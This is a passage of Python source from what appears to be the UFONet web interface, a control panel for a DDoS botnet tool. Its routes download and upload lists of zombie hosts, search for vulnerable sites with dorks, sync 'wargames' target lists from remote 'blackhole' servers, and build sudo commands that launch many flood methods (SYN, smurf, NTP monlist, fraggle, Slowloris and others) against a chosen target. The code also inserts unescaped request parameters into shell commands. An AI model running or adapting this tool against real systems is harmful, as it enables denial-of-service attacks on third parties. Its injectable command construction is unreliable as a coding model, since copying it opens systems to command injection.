  4052. runcmd = "("+python_version+" -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &"
  4053. if page == "/cmd_test_all":
  4054. self.pages["/cmd_test_all"] = "<pre>Waiting for testing results...</pre>"
  4055. runcmd = "("+python_version+" -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &"
  4056. if page == "/cmd_test_offline":
  4057. self.pages["/cmd_test_offline"] = "<pre>Waiting for testing results...</pre>"
  4058. runcmd = "("+python_version+" -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &"
  4059. if page == "/cmd_attack_me":
  4060. self.pages["/cmd_attack_me"] = "<pre>Waiting for 'attack-me' results...</pre>"
  4061. runcmd = "("+python_version+" -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
  4062. if page == "/cmd_download_nodes":
  4063. self.pages["/cmd_download_nodes"] = "<pre>Waiting for nodes downloading results...</pre>"
  4064. runcmd = "("+python_version+" -i ufonet --download-nodes "+ cmd_options + "|tee /tmp/out) &"
  4065. if page == "/cmd_download_nodes_update":
  4066. if not os.path.exists('/tmp/out'):
  4067. open('/tmp/out', 'w').close()
  4068. with open('/tmp/out', 'r') as f:
  4069. self.pages["/cmd_download_nodes_update"] = "<pre>"+f.read()+"<pre>"
  4070. if page == "/cmd_attack_me_update":
  4071. if not os.path.exists('/tmp/out'):
  4072. open('/tmp/out', 'w').close()
  4073. with open('/tmp/out', 'r') as f:
  4074. self.pages["/cmd_attack_me_update"] = "<pre>"+f.read()+"<pre>"
  4075. if page == "/cmd_download_community":
  4076. self.pages["/cmd_download_community"] = "<pre>Waiting for downloading results...</pre>"
  4077. runcmd = "("+python_version+" -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
  4078. if page == "/cmd_download_community_update":
  4079. if not os.path.exists('/tmp/out'):
  4080. open('/tmp/out', 'w').close()
  4081. with open('/tmp/out', 'r') as f:
  4082. self.pages["/cmd_download_community_update"] = "<pre>"+f.read()+"<pre>"
  4083. if page == "/cmd_download_botnet_ip":
  4084. blackhole = pGet["blackhole"]
  4085. blackhole=urllib.parse.unquote(blackhole)
  4086. self.pages["/cmd_download_botnet_ip"] = "<pre>Waiting for downloading results...</pre>"
  4087. runcmd = "("+python_version+" -i ufonet --down-from '"+blackhole+"' "+ cmd_options + "|tee /tmp/out) &"
  4088. if page == "/cmd_download_botnet_ip_update":
  4089. if not os.path.exists('/tmp/out'):
  4090. open('/tmp/out', 'w').close()
  4091. with open('/tmp/out', 'r') as f:
  4092. self.pages["/cmd_download_botnet_ip_update"] = "<pre>"+f.read()+"<pre>"
  4093. if page == "/cmd_upload_community":
  4094. self.pages["/cmd_upload_community"] = "<pre>Waiting for uploading results...</pre>"
  4095. runcmd = "("+python_version+" -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
  4096. if page == "/cmd_upload_community_update":
  4097. if not os.path.exists('/tmp/out'):
  4098. open('/tmp/out', 'w').close()
  4099. with open('/tmp/out', 'r') as f:
  4100. self.pages["/cmd_upload_community_update"] = "<pre>"+f.read()+"<pre>"
  4101. if page == "/cmd_test_army_update":
  4102. if not os.path.exists('/tmp/out'):
  4103. open('/tmp/out', 'w').close()
  4104. with open('/tmp/out', 'r') as f:
  4105. self.pages["/cmd_test_army_update"] = "<pre>"+f.read()+"<pre>"
  4106. if page == "/cmd_test_all_update":
  4107. if not os.path.exists('/tmp/out'):
  4108. open('/tmp/out', 'w').close()
  4109. with open('/tmp/out', 'r') as f:
  4110. self.pages["/cmd_test_all_update"] = "<pre>"+f.read()+"<pre>"
  4111. if page == "/cmd_test_offline_update":
  4112. if not os.path.exists('/tmp/out'):
  4113. open('/tmp/out', 'w').close()
  4114. with open('/tmp/out', 'r') as f:
  4115. self.pages["/cmd_test_offline_update"] = "<pre>"+f.read()+"<pre>"
  4116. if page == "/cmd_test_rpcs":
  4117. self.pages["/cmd_test_rpcs"] = "<pre>Waiting for XML-RPC testing results...</pre>"
  4118. runcmd = "("+python_version+" -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
  4119. if page == "/cmd_test_rpcs_update":
  4120. if not os.path.exists('/tmp/out'):
  4121. open('/tmp/out', 'w').close()
  4122. with open('/tmp/out', 'r') as f:
  4123. self.pages["/cmd_test_rpcs_update"] = "<pre>"+f.read()+"<pre>"
  4124. if page == "/cmd_attack":
  4125. self.pages["/cmd_attack"] = "<pre>Waiting for attacking results...</pre>"
  4126. cmd = ""
  4127. flag_ufosyn = None
  4128. flag_spray = None
  4129. flag_smurf = None
  4130. flag_xmas = None
  4131. flag_nuke = None
  4132. flag_tachyon = None
  4133. flag_monlist = None
  4134. flag_fraggle = None
  4135. flag_sniper = None
  4136. flag_ufoack = None
  4137. flag_uforst = None
  4138. flag_droper = None
  4139. flag_overlap = None
  4140. flag_pinger = None
  4141. flag_ufoudp = None
  4142. target = pGet["target"].replace(" ","/")
  4143. target=urllib.parse.unquote(target)
  4144. nonroot_cmd = "("+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4145. root_cmd = "(sudo "+python_version+" -i ufonet -a '"+target+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "
  4146. end_cmd = ""+cmd_options + "|tee /tmp/out) &"
  4147. if pGet["dbstress"]:
  4148. cmd += "--db '" +str(pGet["dbstress"])+ "' "
  4149. if pGet["loic"]:
  4150. cmd += "--loic '" +str(pGet["loic"])+ "' "
  4151. if pGet["loris"]:
  4152. cmd += "--loris '" +str(pGet["loris"])+ "' "
  4153. if pGet["ufosyn"]:
  4154. cmd += "--ufosyn '" +str(pGet["ufosyn"])+ "' "
  4155. flag_ufosyn = True
  4156. if pGet["spray"]:
  4157. cmd += "--spray '" +str(pGet["spray"])+ "' "
  4158. flag_spray = True
  4159. if pGet["smurf"]:
  4160. cmd += "--smurf '" +str(pGet["smurf"])+ "' "
  4161. flag_smurf = True
  4162. if pGet["xmas"]:
  4163. cmd += "--xmas '" +str(pGet["xmas"])+ "' "
  4164. flag_xmas = True
  4165. if pGet["nuke"]:
  4166. cmd += "--nuke '" +str(pGet["nuke"])+ "' "
  4167. flag_nuke = True
  4168. if pGet["tachyon"]:
  4169. cmd += "--tachyon '" +str(pGet["tachyon"])+ "' "
  4170. flag_tachyon = True
  4171. if pGet["monlist"]:
  4172. cmd += "--monlist '" +str(pGet["monlist"])+ "' "
  4173. flag_monlist = True
  4174. if pGet["fraggle"]:
  4175. cmd += "--fraggle '" +str(pGet["fraggle"])+ "' "
  4176. flag_fraggle = True
  4177. if pGet["sniper"]:
  4178. cmd += "--sniper '" +str(pGet["sniper"])+ "' "
  4179. flag_sniper = True
  4180. if pGet["ufoack"]:
  4181. cmd += "--ufoack '" +str(pGet["ufoack"])+ "' "
  4182. flag_ufoack = True
  4183. if pGet["uforst"]:
  4184. cmd += "--uforst '" +str(pGet["uforst"])+ "' "
  4185. flag_uforst = True
  4186. if pGet["droper"]:
  4187. cmd += "--droper '" +str(pGet["droper"])+ "' "
  4188. flag_droper = True
  4189. if pGet["overlap"]:
  4190. cmd += "--overlap '" +str(pGet["overlap"])+ "' "
  4191. flag_overlap = True
  4192. if pGet["pinger"]:
  4193. cmd += "--pinger '" +str(pGet["pinger"])+ "' "
  4194. flag_pinger = True
  4195. if pGet["ufoudp"]:
  4196. cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' "
  4197. flag_ufoudp = True
  4198. if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp:
  4199. cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS)
  4200. if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True:
  4201. cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP)
  4202. runcmd = cmd + end_cmd
  4203. if page == "/cmd_attack_update":
  4204. if not os.path.exists('/tmp/out'):
  4205. open('/tmp/out', 'w').close()
  4206. with open('/tmp/out', 'r') as f:
  4207. self.pages["/cmd_attack_update"] = "<pre>"+f.read()+"<pre>"
  4208. if page == "/cmd_inspect":
  4209. self.pages["/cmd_inspect"] = "<pre>Waiting for inspecting results...</pre>"
  4210. target = pGet["target"]
  4211. target=urllib.parse.unquote(target)
  4212. runcmd = "("+python_version+" -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4213. if page == "/cmd_inspect_update":
  4214. if not os.path.exists('/tmp/out'):
  4215. open('/tmp/out', 'w').close()
  4216. with open('/tmp/out', 'r') as f:
  4217. self.pages["/cmd_inspect_update"] = "<pre>"+f.read()+"<pre>"
  4218. if page == "/cmd_abduction":
  4219. self.pages["/cmd_abduction"] = "<pre>Waiting for abduction results...</pre>"
  4220. target = pGet["target"]
  4221. target=urllib.parse.unquote(target)
  4222. runcmd = "("+python_version+" -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
  4223. if page == "/cmd_abduction_update":
  4224. if not os.path.exists('/tmp/out'):
  4225. open('/tmp/out', 'w').close()
  4226. with open('/tmp/out', 'r') as f:
  4227. self.pages["/cmd_abduction_update"] = "<pre>"+f.read()+"<pre>"
  4228. if page == "/cmd_search":
  4229. self.pages["/cmd_search"] = "<pre>Waiting for search engines results...</pre>"
  4230. if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
  4231. if pGet["all_engines"] == "on": # search using all search engines (and exclude those set by the user)
  4232. if pGet["exclude_engines"]:
  4233. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4234. else:
  4235. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
  4236. else: # search using a search engine
  4237. runcmd = "("+python_version+" -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4238. else: # search using a pattern
  4239. if pGet["autosearch"] == "on": # search using auto-search mod
  4240. if pGet["exclude_engines"]:
  4241. runcmd = "("+python_version+" -i ufonet --auto-search '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4242. else:
  4243. runcmd = "("+python_version+" -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
  4244. else:
  4245. if pGet["all_engines"] == "on": # search using all search engines
  4246. if pGet["exclude_engines"]:
  4247. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa '"+pGet["exclude_engines"]+"' " + cmd_options + "|tee /tmp/out) &"
  4248. else:
  4249. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
  4250. else: # search using a search engine
  4251. runcmd = "("+python_version+" -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
  4252. if page == "/cmd_search_update":
  4253. if not os.path.exists('/tmp/out'):
  4254. open('/tmp/out', 'w').close()
  4255. with open('/tmp/out', 'r') as f:
  4256. self.pages["/cmd_search_update"] = "<pre>"+f.read()+"<pre>"
  4257. if page == "/cmd_refresh_blackholes":
  4258. self.pages["/cmd_refresh_blackholes"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4259. blackhole_ip = pGet["blackholes_source"]
  4260. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4261. try:
  4262. blackholes = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/nodes.txt').read().decode('utf-8')
  4263. f = open(self.blackholes, "w") # write updates to nodes
  4264. f.write(blackholes)
  4265. f.close()
  4266. self.blackholes_text = blackholes
  4267. except:
  4268. blackholes = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4269. end_mark = "\n[Info] [AI] End of blackholes list (nodes.txt). -> [Refreshing!]"
  4270. f = open("/tmp/out", "w")
  4271. f.write(str(blackholes))
  4272. f.write(end_mark)
  4273. f.close()
  4274. if page == "/cmd_refresh_blackholes_update":
  4275. if not os.path.exists('/tmp/out'):
  4276. open('/tmp/out', 'w').close()
  4277. with open('/tmp/out', 'r') as f:
  4278. self.pages["/cmd_refresh_blackholes_update"] = "<pre>"+f.read()+"<pre>"
  4279. if page == "/cmd_refresh_news":
  4280. self.pages["/cmd_refresh_news"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4281. blackhole_ip = pGet["news_source"]
  4282. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4283. try:
  4284. news = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read().decode('utf-8')
  4285. f = open(self.news, "w") # write updates to news.txt
  4286. f.write(news)
  4287. f.close()
  4288. self.news_text = news
  4289. except:
  4290. news = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4291. end_mark = "\n[Info] [AI] End of news feed. -> [Refreshing!]"
  4292. f = open("/tmp/out", "w")
  4293. f.write(str(news))
  4294. f.write(end_mark)
  4295. f.close()
  4296. if page == "/cmd_refresh_news_update":
  4297. if not os.path.exists('/tmp/out'):
  4298. open('/tmp/out', 'w').close()
  4299. with open('/tmp/out', 'r') as f:
  4300. self.pages["/cmd_refresh_news_update"] = "<pre>"+f.read()+"<pre>"
  4301. if page == "/cmd_refresh_tv":
  4302. self.pages["/cmd_refresh_tv"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4303. blackhole_ip = pGet["tv_source"]
  4304. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4305. try:
  4306. tv = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/tv.txt').read().decode('utf-8')
  4307. f = open(self.tv, "w") # write updates to tv.txt
  4308. f.write(tv)
  4309. f.close()
  4310. self.tv_text = tv
  4311. except:
  4312. tv = "[Error] [AI] Something wrong downloading. Try it again or using another source....\n"
  4313. end_mark = "\n[Info] [AI] End of TV feed. -> [Refreshing!]"
  4314. f = open("/tmp/out", "w")
  4315. f.write(str(tv))
  4316. f.write(end_mark)
  4317. f.close()
  4318. if page == "/cmd_refresh_tv_update":
  4319. if not os.path.exists('/tmp/out'):
  4320. open('/tmp/out', 'w').close()
  4321. with open('/tmp/out', 'r') as f:
  4322. self.pages["/cmd_refresh_tv_update"] = "<pre>"+f.read()+"<pre>"
  4323. if page == "/cmd_sync_wargames":
  4324. self.pages["/cmd_sync_wargames"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4325. blackhole_ip = pGet["wargames_source"]
  4326. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4327. try:
  4328. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4329. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4330. f.write(wargames)
  4331. f.close()
  4332. self.wargames_text = wargames
  4333. except:
  4334. wargames = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4335. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4336. f = open("/tmp/out", "w")
  4337. f.write(str(wargames))
  4338. f.write(end_mark)
  4339. f.close()
  4340. if page == "/cmd_sync_wargames_update":
  4341. if not os.path.exists('/tmp/out'):
  4342. open('/tmp/out', 'w').close()
  4343. with open('/tmp/out', 'r') as f:
  4344. stream = f.read()
  4345. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4346. self.pages["/cmd_sync_wargames_update"] = "<pre>"+stream+"<pre>"
  4347. if page == "/cmd_sync_links":
  4348. self.pages["/cmd_sync_links"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4349. blackhole_ip = pGet["link_source"]
  4350. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4351. try:
  4352. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  4353. f = open(self.links_file, "w") # write updates to links.txt
  4354. f.write(links)
  4355. f.close()
  4356. self.links_text = links
  4357. except:
  4358. links = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4359. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4360. f = open("/tmp/out", "w")
  4361. f.write(str(links))
  4362. f.write(end_mark)
  4363. f.close()
  4364. if page == "/cmd_sync_links_update":
  4365. if not os.path.exists('/tmp/out'):
  4366. open('/tmp/out', 'w').close()
  4367. with open('/tmp/out', 'r') as f:
  4368. stream = f.read()
  4369. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4370. self.pages["/cmd_sync_links_update"] = "<pre>"+stream+"<pre>"
  4371. if page == "/cmd_sync_globalnet":
  4372. self.pages["/cmd_sync_globalnet"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4373. blackhole_ip = pGet["globalnet_source"]
  4374. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4375. try:
  4376. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  4377. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  4378. f.write(globalnet)
  4379. f.close()
  4380. self.globalnet_text = globalnet
  4381. except:
  4382. globalnet = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4383. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4384. f = open("/tmp/out", "w")
  4385. f.write(str(globalnet))
  4386. f.write(end_mark)
  4387. f.close()
  4388. if page == "/cmd_sync_globalnet_update":
  4389. if not os.path.exists('/tmp/out'):
  4390. open('/tmp/out', 'w').close()
  4391. with open('/tmp/out', 'r') as f:
  4392. stream = f.read()
  4393. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4394. self.pages["/cmd_sync_globalnet_update"] = "<pre>"+stream+"<pre>"
  4395. if page == "/cmd_sync_streams":
  4396. self.pages["/cmd_sync_streams"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4397. blackhole_ip = pGet["stream_source"]
  4398. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4399. try:
  4400. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  4401. f = open(self.streams_file, "w") # write updates to streams.txt
  4402. f.write(streams)
  4403. f.close()
  4404. self.streams_text = streams
  4405. except:
  4406. streams = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4407. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4408. f = open("/tmp/out", "w")
  4409. f.write(str(streams))
  4410. f.write(end_mark)
  4411. f.close()
  4412. if page == "/cmd_sync_streams_update":
  4413. if not os.path.exists('/tmp/out'):
  4414. open('/tmp/out', 'w').close()
  4415. with open('/tmp/out', 'r') as f:
  4416. stream = f.read()
  4417. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4418. self.pages["/cmd_sync_streams_update"] = "<pre>"+stream+"<pre>"
  4419. if page == "/cmd_refresh_missions":
  4420. self.pages["/cmd_refresh_missions"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4421. blackhole_ip = pGet["missions_source"]
  4422. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4423. try:
  4424. missions = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read().decode('utf-8')
  4425. f = open(self.missions, "w") # write updates to missions.txt
  4426. f.write(missions)
  4427. f.close()
  4428. self.missions_text = missions
  4429. except:
  4430. missions = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4431. end_mark = "\n[Info] [AI] End of missions feed. -> [Refreshing!]"
  4432. f = open("/tmp/out", "w")
  4433. f.write(str(missions))
  4434. f.write(end_mark)
  4435. f.close()
  4436. if page == "/cmd_refresh_missions_update":
  4437. if not os.path.exists('/tmp/out'):
  4438. open('/tmp/out', 'w').close()
  4439. with open('/tmp/out', 'r') as f:
  4440. self.pages["/cmd_refresh_missions_update"] = "<pre>"+f.read()+"<pre>"
  4441. if page == "/cmd_refresh_ranking":
  4442. self.pages["/cmd_refresh_ranking"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4443. ranking_ip = pGet["ranking_source"]
  4444. ranking_ip = urllib.parse.unquote(ranking_ip)
  4445. try:
  4446. ranking = urllib.request.urlopen('http://'+ranking_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4447. f = open(self.grid_file, "w") # write updates to grid.txt
  4448. f.write(ranking)
  4449. f.close()
  4450. self.ranking_text = ranking
  4451. except:
  4452. ranking = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4453. end_mark = "\n[Info] [AI] End of ranking feed. -> [Refreshing!]"
  4454. f = open("/tmp/out", "w")
  4455. f.write(str(ranking))
  4456. f.write(end_mark)
  4457. f.close()
  4458. if page == "/cmd_refresh_ranking_update":
  4459. if not os.path.exists('/tmp/out'):
  4460. open('/tmp/out', 'w').close()
  4461. with open('/tmp/out', 'r') as f:
  4462. self.pages["/cmd_refresh_ranking_update"] = "<pre>"+f.read()+"<pre>"
  4463. if page == "/cmd_sync_grid":
  4464. self.pages["/cmd_sync_grid"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4465. blackhole_ip = pGet["grid_source"]
  4466. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4467. try:
  4468. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  4469. f = open(self.grid_file, "w") # write updates to grid.txt
  4470. f.write(grid)
  4471. f.close()
  4472. self.grid_text = grid
  4473. except:
  4474. grid = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4475. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4476. f = open("/tmp/out", "w")
  4477. f.write(str(grid))
  4478. f.write(end_mark)
  4479. f.close()
  4480. if page == "/cmd_sync_grid_update":
  4481. if not os.path.exists('/tmp/out'):
  4482. open('/tmp/out', 'w').close()
  4483. with open('/tmp/out', 'r') as f:
  4484. stream = f.read()
  4485. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4486. self.pages["/cmd_sync_grid_update"] = "<pre>"+stream+"<pre>"
  4487. if page == "/cmd_job_remove":
  4488. self.pages["/cmd_job_remove"] = "<pre>Removing wargame from your list...</pre>"
  4489. try:
  4490. job_id = pGet["id"]
  4491. except:
  4492. job_id = ""
  4493. if job_id != "":
  4494. self.list_wargames.reverse()
  4495. try:
  4496. job_task = self.list_wargames[(int(job_id)-1)]
  4497. f = open(self.wargames_file,"r")
  4498. ls = f.readlines()
  4499. f.close()
  4500. f = open(self.wargames_file,"w")
  4501. for l in ls:
  4502. if str(l) != str(job_task):
  4503. f.write(l)
  4504. f.close()
  4505. except:
  4506. pass
  4507. if page == "/cmd_job_remove_update":
  4508. if not os.path.exists('/tmp/out'):
  4509. open('/tmp/out', 'w').close()
  4510. with open('/tmp/out', 'r') as f:
  4511. self.pages["/cmd_job_remove_update"] = "<pre>"+f.read()+"<pre>"
  4512. if page == "/cmd_job_remove_all":
  4513. self.pages["/cmd_job_remove_all"] = "<pre>Purging ALL -CLOSED- wargames from your list...</pre>"
  4514. try:
  4515. key_params = pGet["key"]
  4516. sep = ","
  4517. key = key_params.rsplit(sep, 1)[0]
  4518. except:
  4519. key = ""
  4520. if key != "":
  4521. try:
  4522. self.list_wargames.reverse()
  4523. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4524. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4525. f = open(self.wargames_file,"r")
  4526. ls = f.readlines()
  4527. f.close()
  4528. f = open(self.wargames_file,"w")
  4529. sep = wargames_msg_sep
  4530. for l in ls:
  4531. job_estimated = l.rsplit(sep, 1)[1]
  4532. self.decrypt(key, job_estimated)
  4533. if self.decryptedtext:
  4534. job_estimated = self.decryptedtext
  4535. else:
  4536. job_estimated = now
  4537. self.decryptedtext = ""
  4538. job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
  4539. if (now >= job_estimated) == False: # -ONGOING-
  4540. f.write(l)
  4541. f.close()
  4542. except:
  4543. pass
  4544. if page == "/cmd_job_remove_all_update":
  4545. if not os.path.exists('/tmp/out'):
  4546. open('/tmp/out', 'w').close()
  4547. with open('/tmp/out', 'r') as f:
  4548. self.pages["/cmd_job_remove_all_update"] = "<pre>"+f.read()+"<pre>"
  4549. if page == "/cmd_edit_supply":
  4550. self.pages["/cmd_edit_supply"] = "<pre>Changing 'Global Army Supply' configuration...</pre>"
  4551. try:
  4552. supply_botnet = pGet["botnet"]
  4553. supply_loic = pGet["loic"]
  4554. supply_loris = pGet["loris"]
  4555. supply_ufosyn = pGet["ufosyn"]
  4556. supply_spray = pGet["spray"]
  4557. supply_smurf = pGet["smurf"]
  4558. supply_xmas = pGet["xmas"]
  4559. supply_nuke = pGet["nuke"]
  4560. supply_tachyon = pGet["tachyon"]
  4561. supply_monlist = pGet["monlist"]
  4562. supply_fraggle = pGet["fraggle"]
  4563. supply_sniper = pGet["sniper"]
  4564. supply_ufoack = pGet["ufoack"]
  4565. supply_uforst = pGet["uforst"]
  4566. supply_droper = pGet["droper"]
  4567. supply_overlap = pGet["overlap"]
  4568. supply_pinger = pGet["pinger"]
  4569. supply_ufoudp = pGet["ufoudp"]
  4570. except: # default global supply army
  4571. supply_botnet = 1
  4572. supply_loic = 0
  4573. supply_loris = 0
  4574. supply_ufosyn = 0
  4575. supply_spray = 0
  4576. supply_smurf = 0
  4577. supply_xmas = 0
  4578. supply_nuke = 0
  4579. supply_tachyon = 0
  4580. supply_monlist = 0
  4581. supply_fraggle = 0
  4582. supply_sniper = 0
  4583. supply_ufoack = 0
  4584. supply_uforst = 0
  4585. supply_droper = 0
  4586. supply_overlap = 0
  4587. supply_pinger = 0
  4588. supply_ufoudp = 0
  4589. with open(self.mothership_supplycfg_file, "w") as f:
  4590. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
  4591. if page == "/cmd_job_add":
  4592. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  4593. try:
  4594. job_params = pGet["id"]
  4595. sep = ","
  4596. job_id = job_params.rsplit(sep, 1)[0]
  4597. except:
  4598. job_id = ""
  4599. if job_id != "":
  4600. self.list_wargames.reverse()
  4601. try:
  4602. job_task = self.list_wargames[(int(job_id)-1)]
  4603. f = open(self.wargames_file,"r")
  4604. ls = f.readlines()
  4605. f.close()
  4606. f = open(self.wargames_file,"w")
  4607. sep = wargames_msg_sep
  4608. for l in ls:
  4609. if str(l) != str(job_task):
  4610. f.write(l)
  4611. else:
  4612. job_t2 = job_task.rsplit(sep, 1)[0]
  4613. job_creation = job_t2.rsplit(sep, 1)[0]
  4614. job_target = job_t2.rsplit(sep, 1)[1]
  4615. job_estimated = job_task.rsplit(sep, 1)[1]
  4616. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  4617. f.write(l)
  4618. f.close()
  4619. except:
  4620. pass
  4621. if page == "/cmd_job_add_update":
  4622. if not os.path.exists('/tmp/out'):
  4623. open('/tmp/out', 'w').close()
  4624. with open('/tmp/out', 'r') as f:
  4625. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  4626. if page == "/cmd_job_add_all":
  4627. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  4628. try:
  4629. self.list_wargames.reverse()
  4630. f = open(self.wargames_file,"r")
  4631. ls = f.readlines()
  4632. f.close()
  4633. f = open(self.wargames_file,"w")
  4634. sep = wargames_msg_sep
  4635. for l in ls:
  4636. job_t2 = l.rsplit(sep, 1)[0]
  4637. job_creation = job_t2.rsplit(sep, 1)[0]
  4638. job_target = job_t2.rsplit(sep, 1)[1]
  4639. job_estimated = l.rsplit(sep, 1)[1]
  4640. if not "!!!" in job_target:
  4641. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  4642. else:
  4643. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4644. f.write(l)
  4645. f.close()
  4646. except:
  4647. pass
  4648. if page == "/cmd_job_add_all_update":
  4649. if not os.path.exists('/tmp/out'):
  4650. open('/tmp/out', 'w').close()
  4651. with open('/tmp/out', 'r') as f:
  4652. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  4653. if page == "/cmd_job_cancel":
  4654. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  4655. try:
  4656. job_params = pGet["id"]
  4657. sep = ","
  4658. job_id = job_params.rsplit(sep, 1)[0]
  4659. except:
  4660. job_id = ""
  4661. if job_id != "":
  4662. self.list_wargames.reverse()
  4663. try:
